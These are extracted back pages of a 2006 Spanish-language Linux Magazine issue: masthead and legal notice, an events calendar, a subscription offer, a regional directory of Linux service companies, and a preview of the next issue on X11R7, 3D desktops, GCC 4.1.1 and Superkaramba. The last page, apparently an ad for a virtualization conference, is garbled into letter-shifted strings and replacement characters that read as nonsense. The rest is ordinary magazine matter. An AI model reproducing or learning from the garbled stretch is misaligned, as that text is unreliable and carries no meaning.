Director EditorialPaul C. Brown

Jefe de ProducciónJuan Miguel Ramírez

Subscripciones:www.linux-magazine.es/magazine/subs

Precios Subscripción España: 54,90 €Europa: 64,90 €Resto del Mundo - Euros: 84,90 €

Tel.: (+34) 951 010 556Fax.: (+34) 951 010 516 [email protected]

Linux MagazineLinux New Media Spain, S.L.Avda. Juan López Peñalver, 2129590 - Campanillas Málaga ESPAÑA [email protected].: (+34) 951 010 556Fax.: (+34) 951 010 516

www.linux-magazine.es - Españawww.linux-magazine.com - Mundowww.linux-magazine.de - Alemania

Si bien se toman todas las medidas posibles paragarantizar la precisión del contenido de los artículos publi-cados en Linux Magazine, la editorial no se hace responsable de imprecisiones aparecidas en larevista. Asimismo, Linux Magazine no compartenecesariamente las opiniones vertidas por suscolaboradores en sus artículos. El riesgo derivado del uso del DVD y el material que contiene corren por cuenta del lector. El DVD es estudiado escrupu-losamente para confirmar que está libre de virus y errores.

Copyright y Marcas Registradas © 2006 Linux NewMedia Spain, S.L. Linux New Media Spain S.L. prohíbela reproducción total o parcial de los contenidos deLinux Magazine sin su permiso previo y por escrito.Linux es una Marca Registrada de Linus Torvalds.

Impreso en Alemania

Impresión: Dierichs Druck + Media GmbH

Distribución: SGEL

Depósito Legal: MA-116-2005

ISSN edición impresa: 1576-4079

ISSN edición online: 1699-2237

Calendario de Eventos

Evento Fecha Ciudad Sitio Web

AUUG 2006 8-13 Octubre Melbourne,Australia new.auug.org.au/events_store/auug2006LinuxWorld Conference & Expo NL 11-12 Octubre Utrecht,Holanda www.linuxworldexpo.nlTrolltech Developer Days Europe 2006 11-12 Octubre Munich,Alemania www.trolltech.com/devdays2006hack.lu 2006 19-21 Octubre Kirchberg,Luxemburgo www.hack.luaLANtejo 06 20-26 Octubre Évora,Portugal alantejo.uevora.pt/2006LinuxWorld Conference & Expo UK 25-26 Octubre Londres,U.K. www.linuxworldexpo.co.ukZend/PHP Conference 2006 29 Oct.-2 Nov. San Jose,EEUU devzone.zend.com/node/view/id/89International PHP Conference 2006 5-8 Noviembre Frankfurt,Alemania www.phpconference.comWeb 2.0 Conference 7-9 Noviembre San Francisco,EEUU www.web2con.comForum PHP 2006 9-10 Noviembre Paris,Francia www.afup.org/article.php3?id_article=304Firebird Conference 2006 12-14 Noviembre Praga,República Checa www.ibphoenix.comLinuxWorld Conference & Expo Germany 14-16 Noviembre Colonia,Alemania www.linuxworldexpo.deVirtualization Conference 14-15 Noviembre Colonia,Alemania www.linux-magazine.com/virtualizationT-DOSE 2-3 Diciembre Eindhoven,Holanda www.t-dose.orgOpen Source Developers' Conference 5-8 Diciembre Melbourne,Australia www.osdc.com.auSecure Linux Admin.Conference 7-8 Diciembre Berlín,Alemania www.heinlein-support.de/slac23rd Chaos Communication Congress 27-30 Diciembre Berlín,Alemania events.ccc.de/congress/200614.DFN-Cert-Workshop 7-8 Febrero 07 Hamburgo,Alemania www.cert.dfn.de/events/ws/2007Open Source Developers' Conference 20-22 Febrero 07 Netanya, Israel www.osdc.org.il/2007

Page 95: Linux Magazine - Edición en Castellano, Nº 20

Más del 30% de descuento respecto al precio de portada: Consigue 12 números por 54’90 Euros y todos los DVDs ¡Gratis!

A diferencia de otras publicaciones, Linux Magazine no llenará tu buzón de recordatorios para que renueves tu subscripción. Ésta se renovaráautomáticamente cada año. Recibirás una confirmación aproximadamente 30 días antes del final de tu periodo de subscripción, pero no serequiere que hagas nada para seguir suscrito.

¡No te pierdas Linux Magazine nunca más! La subscripción te asegura que recibas los conocimientos Linux de más alta calidad en tu domiciliocada mes.

Si por cualquier motivo decides dejar de leer Linux Magazine, puedes cancelar tu subscripción en cualquier momento. Te abonaremos el preciode todos los números que no hayas recibido. Sin preguntas, sin fechas de cancelación, sin problemas.

Linux Magazine es algo más que una revista de Linux. Patrocinamos grupos, congresos, proyectos y eventos relacionados con el Software Libre.Suscribiéndote a Linux Magazine garantizas que podamos seguir apoyando al Software Libre allá donde haga falta.

Page 96: Linux Magazine - Edición en Castellano, Nº 20
Page 97: Linux Magazine - Edición en Castellano, Nº 20

LINUX LOCAL

97Número 20W W W . L I N U X - M A G A Z I N E . E S

Andalucía

Logo Empresa Correo-e Web 1 2 3 4 5 6 7 8

Gesinfo [email protected] www.gesinfoweb.com � � � � � �

BitRock [email protected] bitrock.com � �

Properly Software [email protected] www.properly.es/site � �

GuadaGames [email protected] www.guadagames.com �

LINUX LOCALLeyenda

1.- Hardware

2.- Software / Desarollo

3.- Formación

4.- Soporte / Consultoría

5.- Servidores

6.- Redes

7.- Migración

8.- Hospedaje

Cataluña

Logo Empresa Correo-e Web 1 2 3 4 5 6 7 8

IWS [email protected] www.iws.es � � � � � �

Madrid

Logo Empresa Correo-e Web 1 2 3 4 5 6 7 8

Mono::labs [email protected] www.monolabs.com � � � � � �

Datum [email protected] www.datum.ws � � � � � �

Virtua [email protected] www.virtua.es � � � �

Opentia [email protected] www.opentia.es � � � � � �

Linux Local es el directorio de servicios y empresas de Linux cerca de ti.

¿Necesitas soporte, hardware, formación? Consulta Linux Local y encuen-

tra quién ofrece qué y dónde. El directorio se divide en regiones autóno-

mas para ayudarte a localizar las empresas que ofrecen servicios cerca de ti. Uti-

liza la leyenda de la derecha para encontrar la empresa que ofrece el servicio

que precises.

Linux Local es tu guía de servicios Linux.

¿Por qué no está su empresa eneste directorio?

LINUX MAGAZINE llega a miles de empresas, profesionales y usuarios cada mes.

Si tiene servicios o productos Linux que ofrecer ¡Llámenos!

Tlf.: +34 951 010 556

Fax: +34 951 010 516

[email protected]

Page 98: Linux Magazine - Edición en Castellano, Nº 20

98

PRÓXIMO NÚMERO

98 Número 20 W W W . L I N U X - M A G A Z I N E . E S

EL FUTURO DE LOS

GRÁFICOS LINUXEn el extraño y maravilloso mundo de Linux, el mañana

siempre llega hoy. Si ayer Linux era el patito feo de los

entornos visuales, hoy es el referente hacia el que los

demás miran. El mes que viene veremos porqué.

Primero analizamos la validez del venerable sistema

de ventanas X y comprobamos si es capaz de satisfacer

las demandas de un mundo que exige 3D para todo. A

continuación vemos qué dan de sí precisamente los

escritorios 3D con las tecnologías de Xgl y Compiz

¿Incrementan la productividad y la accesibilidad, o no

son más que bonitos juguetes?

En nuestro siguiente artículo echaremos un vistazo a

una tecnología que viene de la mano de Red Hat:

AIGLX, una alternativa a Xgl. Veremos en qué supera y

dónde falla ante Xgl. Por último presentamos un

repaso de la mayor revisión del sistema X en más de

diez años: aceleración para transparencias, transforma-

ciones de objetos aleatorios y más y mejor soporte de

hardware son sus principales cartas de presentación.

Todo esto y más en X11R7.

GCC 4.1.1La colección de compiladores GNU es la piedra

angular técnica del movimiento del software

libre. Disponible para todas la plataformas y

todos los lenguajes de programación,

revisaremos lo que hay de nuevo en las

versiones más recientes y veremos en qué

medida ha mejorado su rendimiento.

Taller SUPERKARAMBASi bien cambiar la imagen de fondo de la pantalla

es toda una proeza técnica para algunos, otros

llevan la personalización de sus escritorios mucho

más allá. Temas, widgets y applets dinámicos a

través de scripts Python, todo es posible con

Superkaramba.

A LA VENTA: OCTUBRE 2006

Noviembre 2006: Número 21

PRÓXIMO NÚMERO

Page 99: Linux Magazine - Edición en Castellano, Nº 20

8PSME�T�MFBEJOH�5SBEF�&WFOU�GPS�-JOVY�BOE�0QFO�4PVSDF�JO�CVTJOFTT*/5&3/"5*0/"-�.&%*"�410/403

'JSTU�*OUFSOBUJPOBM

7JSUVBMJ[BUJPO�$POGFSFODF��������/PWFNCFS �����

i�MJWF�JO�$PMPHOF �(FSNBOZ

DP�MPDBUFE�XJUI�-JOVY8PSME�$POGFSFODF���&YQP

XXX�MJOVYXPSMEFYQP�EF

i�BOE�MJWF�JO�ZPVS�PGGJDF

XJUI�WJEFP�TUSFBNJOH �QSFTFOUBUJPO�EPXOMPBET �BOE�DIBU�SPPNT

XXX�MJOVY�NBHB[JOF�DPN�WJSUVBMJ[BUJPO

'PVOEBUJPO�5FDIOPMPHJFT�BOE�1MBUGPSNT �

)BSEXBSF�BOE�4PGUXBSF

������������ ".%�7JSUVBMJ[BUJPO�5FDIOPMPHZ�

������������� 7JSUVBMJ[BUJPO�PO�

� *#.�108&3�4ZTUFNT�

������������� &OIBODJOH�9FO�XJUI�*OUFM�

� 7JSUVBMJ[BUJPO�5FDIOPMPHZ�*OUFM�75�

������������� &OUFSQSJTF�(SBEF�7JSUVBMJ[BUJPO�XJUI�� �

� 0QFO�4PVSDF�5FDIOPMPHJFT�

������������� -VODI�#SFBL �7JTJU�PG�UIF�

� 7JSUVBMJ[BUJPO�1BSL�

������������� 8JOEPXT�4FSWFS�WJSUVBMJ[BUJPO�� � �

� o�UIF�XIBU �IPX�BOE�XIZ�

������������� 7.XBSF�BOE�UIF�7JSUVBM�

� %BUB�$FOUFS�

������������� 4VOAT�"QQSPBDI�UP�7JSUVBMJ[BUJPO��� �

� ��GSPN�6TF�$BTFT�UP�5PPMT

.BOBHFNFOU�5PPMT�BOE�4FSWJDFT��

������������� /FX�EZOBNJD�.BJOGSBNF�4FSWJDFT�

������������� )1�T�6OJm�FE�*OGSBTUSVDUVSF�

� NBOBHFNFOU�DPWFSJOH�QIZTJDBM�� � �

� BOE�WJSUVBMJ[FE�TZTUFNT�

������������ *OUFHSBUFE�7JSUVBMJ[BUJPO���'SPN

� TFSWFS�CBTFE�DPNQVUJOH�UP�UIF��

� DPNQVUF�QPXFS�CBTFE�WJFX�PO�� � �

� ZPVS�EBUBDFOUFS�

������������� 7JSUVBMJ[BUJPO���"�OFX�XBZ�NBOBHJOH�� �

� XPSLMPBET�BOE�TFSWFST�

4UPSBHF�BOE�/FUXPSLT

������������� $POTPMJEBUJPO�PG�4UPSBHF�

� *OGSBTUSVDUVSFT�CZ�VTJOH�

� 7JSUVBMJ[BUJPO�4PMVUJPOT�

������������ /FUXPSL�*OGSBTUSVDUVSF�

� 7JSUVBMJ[BUJPO���PQUJPOT�BOE�

� JNQMFNFOUBUJPO�TDFOBSJPT�

������������� -VODI�#SFBL �7JTJU�PG�UIF�

� 7JSUVBMJ[BUJPO�1BSL�

*OOPWBUJPO

������������ 7JSUVBMJ[BUJPO�5FDIOPMPHZ�0VUMPPL�

������������� 7JSUVP[[P�o�04�-FWFM�7JSUVBMJ[BUJPO��

� BOE�Fõ�FDUJWF�NBOBHFNFOU�PG�

� 7JSUVBMJ[FE�%BUB�$FOUFST�

������������� 1BSBWJSUVBMJ[BUJPO�o�-BUFTU�

� *OOPWBUJPO�PS�%FBE�&OE�"QQSPBDI �

������������� 4VNNBSZ�

5VFTEBZ ����/PWFNCFS ����� 8FEOFTEBZ ����/PWFNCFS �����

i�5IF�1SPHSBN

#PPL�OPX�UP�HFU�

ZPVS�FBSMZ�CJSE�

EJTDPVOU�

Page 100: Linux Magazine - Edición en Castellano, Nº 20